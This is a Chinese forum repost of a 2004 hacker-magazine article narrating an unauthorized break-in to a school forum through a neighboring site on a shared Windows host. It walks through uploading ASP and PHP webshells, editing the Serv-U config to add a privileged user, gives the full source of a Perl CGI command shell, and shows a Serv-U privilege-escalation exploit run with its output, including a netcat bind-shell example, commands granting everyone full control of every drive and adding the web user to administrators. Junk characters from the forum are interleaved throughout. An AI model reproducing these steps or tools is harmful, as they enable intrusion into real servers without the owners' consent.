中国网络渗透测试联盟
标题:
剑走偏锋——灵巧的旁注攻击
[打印本页]
作者:
admin
时间:
2012-9-15 14:11
标题:
剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
* H* V2 U O# i
本文作者:angel
# @: I8 h$ }' P9 _ X2 c
文章性质:原创
9 j6 l& r4 B! X, j4 Q @: L
发布日期:2004-11-09
+ K8 f8 y: E% |
注意:
! G- T* L/ V( n* d( ~6 C) p& F
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
/ ^% s8 j/ E" V. i# n3 j- J+ J
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
% V$ J4 {/ e+ l1 i
+ x" N. \# j0 \$ n# f) x4 i
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
" d4 A: e) j/ s6 b( {
/ i+ H" m( ]8 E& k4 s
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
& c' O7 ?& C P+ `
1 h; J' M* t" v4 a J7 s
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
- l @ g8 E; G: u* y5 n, [7 h
9 K7 r. Z+ a' o# A
一次看见了一个学校论坛(
http://www.school.com
),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
* H3 B0 b3 o3 R4 U6 D
: ]7 w O; ^0 O% o0 {7 a3 m
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有
http://whois.webhosting.info
这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
* r8 [7 q# p8 l; G$ A2 J& L. a
, P$ H; E6 D4 N+ `$ t6 X; f
没有目的的跳转目录着……
* M1 g8 i4 e# a* \
: L( }0 W p+ M6 a- ^
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
, [ E8 {, v9 m; y, v
8 A4 C1 J% Z- S8 d% w
结束了吗?不,我试着 FTP 一下:
* U% t8 P& M0 N' d; H
: h+ w: _4 G) [ t6 ^( t
Microsoft Windows 2000 [Version 5.00.2195]
& J3 Y( }/ N8 V, J
(C) 版权所有 1985-2000 Microsoft Corp.
& G- e: J1 y+ v" f& [; g
* b- U7 o* o3 W1 G' H& @4 m1 L6 @
C:\Documents and Settings\Administrator>ftp
www.school.com
9 s# e" \; G4 l; }
Connected to www. school.com.
1 P3 p& j7 w2 @! e2 E1 K
220 Welcome to FTP Server...
! f Z6 T8 k6 F5 H" e5 c3 T
User (
www.bjtrq.com:
(none)):
& X+ \. w7 x9 |- A( X
331 User name okay, need password.
* U3 y8 V0 m- d, ]9 ~( V
Password:
% |# E4 y! f% e# ]& @4 `7 K* w3 u
530 Not logged in.
) u W5 V9 U0 H' I5 v2 z
Login failed.
+ p/ C( ^) |6 I, s' W7 \6 N
ftp> bye
5 m/ H3 c6 N2 _, |$ c* s
221 Goodbye!
- {1 O; ]' ^( i* r
W3 k$ k9 S a$ Y. u7 v' X
( @2 C4 d. t& l: G' ^
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
; |; a) J! f& v) E5 a3 n
2 ^+ M6 e0 B! C: t7 Z
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
/ J: ]3 _" q9 L I! q* g' [
$ x) z8 z* m# |! t8 k( S, }
Application Data
7 |' z3 I8 t/ G- w3 Z
Documents
4 Y, Z2 m5 V) q, t8 f
DRM
/ I" ^# E! e( L- c" J- s+ Q8 i
Favorites
2 A" p& I4 w* c# v7 y0 d
Templates
+ E' F4 `9 t- W! L" t# j% X$ A
「开始」菜单
9 _ @# E. o: C0 ^# z/ a
桌面
* T* H0 ~+ n" `+ ]( y. I. k1 ]/ |# h
' g$ ?$ C4 q) l, _# b2 M6 }9 V1 h
) B' X2 y1 V, P! W' z% |
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
4 i& e8 @9 {5 t8 ?2 c
2 [% b& p1 |4 v$ k4 w
ActiveState ActivePerl 5.8
" {4 E5 I# P+ _; r) b
Administrative Tools
- ]# K- q# P0 z/ | ^
Deerfield.com
: \5 C0 R- {( \/ v
DTemp
: W& [1 }( c3 [$ e* B
IPSentry
4 _! J! e: E$ A- K& K4 x4 e
MBM 5
- {3 u1 @* H$ F% N( T6 T: ^
NetMeter
+ b# ~. Y1 r7 ~. p) _
Network ICE
& W. H8 m1 M' L; y" G2 p9 h7 [: H! ^* I
Persits Software AspEmail
) A7 @. l5 G! H; D, b, Z$ n, @5 O
Persits Software AspJpeg
6 {; L/ O# ^6 I4 x/ D$ c
Serv-U FTP Server
$ L, R; @! g* K5 Y5 R
Symantec Client Security
% I+ o8 f& O' l1 v/ i
Windows 优化大师
. q( y3 X, s6 C& Y9 Z
WinRAR
; W5 h7 s+ ]9 Y
启动
& h' e8 ~1 l4 R4 `9 _9 w: J
管理工具
, C' l) Z% ]7 X2 _% {
附件
$ h. W- T2 W- q) _ n* u
* Q: h$ A1 d- o' E
9 Z/ z8 {! X9 F4 a6 y% e
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
, z+ C- Q* k+ P% O5 y/ h: C
6 R1 e7 h0 ?( b- X" E
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
5 }2 g. j0 H* h3 Y0 z, ?0 A
3 a8 g) n8 P* r+ }4 S" [7 x
User281=angel|1|0
' |. t& [; Q0 x5 W' m
/ ] `) j: v" i" {
% m) D* Z" G! W
然后加上
+ R: z+ f) W. d- \+ w
' o; ]( Z' Q" t, f) q( F; Y
[USER=angel|1]
/ F" k! n* m4 F7 a
Password=ng98F85379EA68DBF97BAADCA99B69B805
$ r+ K. D( r$ V3 F
HomeDir=D:\websites
5 ^$ _6 T) l: Q3 T
RelPaths=1
/ a0 L2 T. |& n
TimeOut=600
. j$ q1 K, F/ I0 C! y$ \
Maintenance=System
! [1 S5 j- y2 A) t
Access1=D:\websites|RWAMELCDP
% D& k7 z2 q/ s& i4 w5 j: ^& o
SKEYValues=
' _9 I9 e# l3 V, w
0 T: d: K, F7 V- e0 @, j
) A! q7 E' I, ^/ r( f
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
9 _+ P6 Q: v. N& ^5 A# }6 V
% ?8 S6 o# m7 U( U& M4 D
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
6 R" N6 k4 [% D5 m8 ?; U
$ w. M4 m8 N' U
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
( I, j& x) y+ y+ a l. E
' F8 T" w) n) q
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
B7 g! t1 W, Q t( _
% b0 c r* L" b" d- N" l& e
#!/usr/bin/perl
$ [2 K- O W! `- a9 G3 D
binmode(STDOUT);
, m* o# Q, P# {, }6 p4 [6 H
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
' ^! C' {# K+ t- v( c
$_ = $ENV{QUERY_STRING};
+ ~. r$ H5 d4 Q+ r+ C* H
s/%20/ /ig;
+ s4 F9 a* T1 a2 O, f
s/%2f/\//ig;
, i, b- N( s: P4 Q: G2 _
$execthis = $_;
# R4 n3 g9 S0 _! K" T0 v' a
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
$ ?! a( k3 Z6 K( f f8 ?: @
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
" u9 Y$ @; K5 g( i) ~/ Y
system($execthis);
) k' K0 \% a6 q! l0 o* Y# e( _
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
9 k) o5 t0 `4 Y( W2 h2 B+ Q
close(STDERR);
) k! h0 t; D1 T" b0 @: U. V7 @8 e
close(STDOUT);
1 M7 r1 V6 b6 t0 ~
exit;
8 o% Y& V/ q& z6 E
6 P }7 H4 @, F
& G7 n( n! @1 N" Y2 W- x1 _) q9 I
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
# t& r6 r8 L: {, O- B; m
2 ^$ h6 D2 Y: [9 G; T
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
+ g' }0 _* f! _3 F d0 F
# R+ K$ t% y) g: Z7 L8 D" U# M1 P1 E9 W
http://anyhost//cmd.pl?d:\user\bin\su.exe
' y- F3 [3 j1 v
( B4 V6 @ z8 w+ [% N- Q9 u
$ W9 I; R7 J. k9 B' I$ Q
返回:
/ g7 t7 o9 H2 _+ i1 s6 d
0 A, I* u+ ]0 V
Serv-u >3.x Local Exploit by xiaolu
' p% p1 D: Z+ I
: [0 Q4 u* d) {: |
USAGE: serv-u.exe "command"
' {0 {7 i$ ~- p h* R2 [; t
3 }: j0 c4 R2 Y/ v
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
9 t5 O7 X' T, V! h) l: Y
! ~" w# h3 D/ ~. M
1 T) x6 ]8 L- y/ C( T6 L7 v9 n. q
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
4 x8 P; g. d5 x
, p0 p4 K& W* r$ }
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
- x' V7 M+ o+ k0 W4 j
6 ?2 a' @/ ^% s1 P; [* Q+ F
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
2 ]0 U+ B0 g, W7 V6 f
: j; E$ J& p) U2 X" F6 u6 N3 a$ D
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
; p& e* f; R$ M; D4 s
' r* ^1 ?! X2 N/ t* r( ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
) U' [) B4 _) e5 ?
+ x+ q* d6 [: e$ U5 F0 N
; f8 H/ g- [ n, q7 ^
返回下面的信息,就表示成功了!!!
( M& F! t; K, P+ ^+ v6 @4 c( H
0 q' b1 Z5 ~* C# s* p+ Z/ K
Serv-u >3.x Local Exploit by xiaolu
5 C5 O; N& Z m
% H$ X& b4 i3 L) Z1 C
<220 Serv-U FTP Server v5.2 for WinSock ready...
: Y" y6 ]* T9 ^( H8 q/ l4 D+ P% z
2 A6 V W, U1 W8 C$ M' T/ e. N$ [
>USER LocalAdministrator
+ |0 D7 U9 B4 g: @) v* w
) R. Y; {5 k7 p, i7 a& L* t0 L& P
<331 User name okay, need password.
# ~( u* b! _' H0 y! i
# T8 E+ J. Z! D; l( F
******************************************************
) t3 v0 |% Q1 I5 x1 N
; \5 ]3 I4 p+ v' M0 J. ~. h
>PASS #l@$ak#.lk;0@P
/ J( W; x+ h6 V; C+ _2 a7 \
" r0 d* [" d( J% n; P" z
<230 User logged in, proceed.
8 S7 \4 O+ `) H4 ~, z) s# v
+ Q4 B$ w/ J9 O* x0 B1 }
******************************************************
5 W+ \9 Y/ l2 o9 B( _+ d9 E
1 W3 U2 h8 s* D+ K
>SITE MAINTENANCE
. y9 i, q2 y5 o
* i- v9 }7 `* \" H
******************************************************
1 C5 `7 n6 u [; Z8 ?% y
7 R8 }6 r# D7 q
[+] Creating New Domain...
' H2 ]3 P1 N# G/ I3 C
0 H) ~/ l5 ?4 {
<200-DomainID=2
D2 ^" U) r& v
2 H2 j6 p0 e8 L5 u& i' n
<220 Domain settings saved
' B& \( e, {* |5 t( U
1 g1 l, U6 v$ G- R. i2 r _
******************************************************
( F+ X( D- h7 u* g8 E1 ^
# z2 n; f* j. L! f; w- R
[+] Domain xl:2 Created
( |" a, k% u! q5 r7 ?, c. U
, q# j6 h/ l9 c( e
[+] Creating Evil User
: H& E5 ?* m. \0 b, m# R
8 E, Q: H: O: e3 v
<200-User=xl
1 r2 P5 ]2 f( o+ j$ }( {' Q
* F8 z2 u: O8 _/ y
200 User settings saved
% X0 a' P0 b3 _/ K# S4 Z& m/ h
' F0 h; V7 h% O5 L1 E
******************************************************
/ p8 d' B: s8 h2 y9 V
8 ^, V: \( C S( m4 L! Z- g# M# x
[+] Now Exploiting...
! ~2 l$ }5 T6 k& Z0 |% _: [
. b+ B- i* H: m& A% E% @" [& X8 G
>USER xl
- z- p# D h, S* y, ?( `, e" h0 G1 Y
6 L4 z2 \2 ^. X3 D6 C; Y' N9 H
<331 User name okay, need password.
7 {' W0 K' g3 Q+ g. r" @
( B6 N, n1 a! q. M
******************************************************
2 [5 y: |( F4 I- ?& H& J
/ n1 l0 n& I$ m3 W' ]0 W D# b
>PASS 111111
0 E7 f8 P9 j7 h/ R) t" P+ M
& p8 D0 C% f, Q3 f+ T
<230 User logged in, proceed.
$ i+ S+ d3 [9 h8 i1 T
3 Z/ X o9 `& I/ @' F: J. o ]
******************************************************
6 V) I' a! v5 q+ M
3 g9 ]: U9 C: Z4 K3 G6 e, l& l
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
4 B) n# q% `+ I! l6 S: ]" ?$ p/ n
. p) G+ e2 {- {" g+ f) B9 c7 y+ N
<220 Domain deleted
4 G' Z. ~8 r, a. r D$ |% I; E
4 J0 s* w: ~8 _5 B3 O. I- U# ~# E% {
******************************************************
7 U: J; }* l6 f) ]; b* i# Q
. k w# B$ C1 x0 c) s) P" h
' o/ n- A! ?2 W3 e& t! s7 M
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
9 g# ? j5 b" O! |1 y
* y' G, E* K- A& b
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
$ m* v8 B$ M6 @9 W% J1 u
! v& Q, Y# K$ b; l& C7 P ~
% \, V/ J# M0 ~) Z( O
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
% i) J9 h% E8 g$ ^
h0 i* ]/ b0 a2 i0 W4 W5 |
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
9 B1 K$ Q" G. P) d8 j% ^
+ A' ]- I* Z3 R4 M' [; G
) A* ~5 R, v3 b Y0 h
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2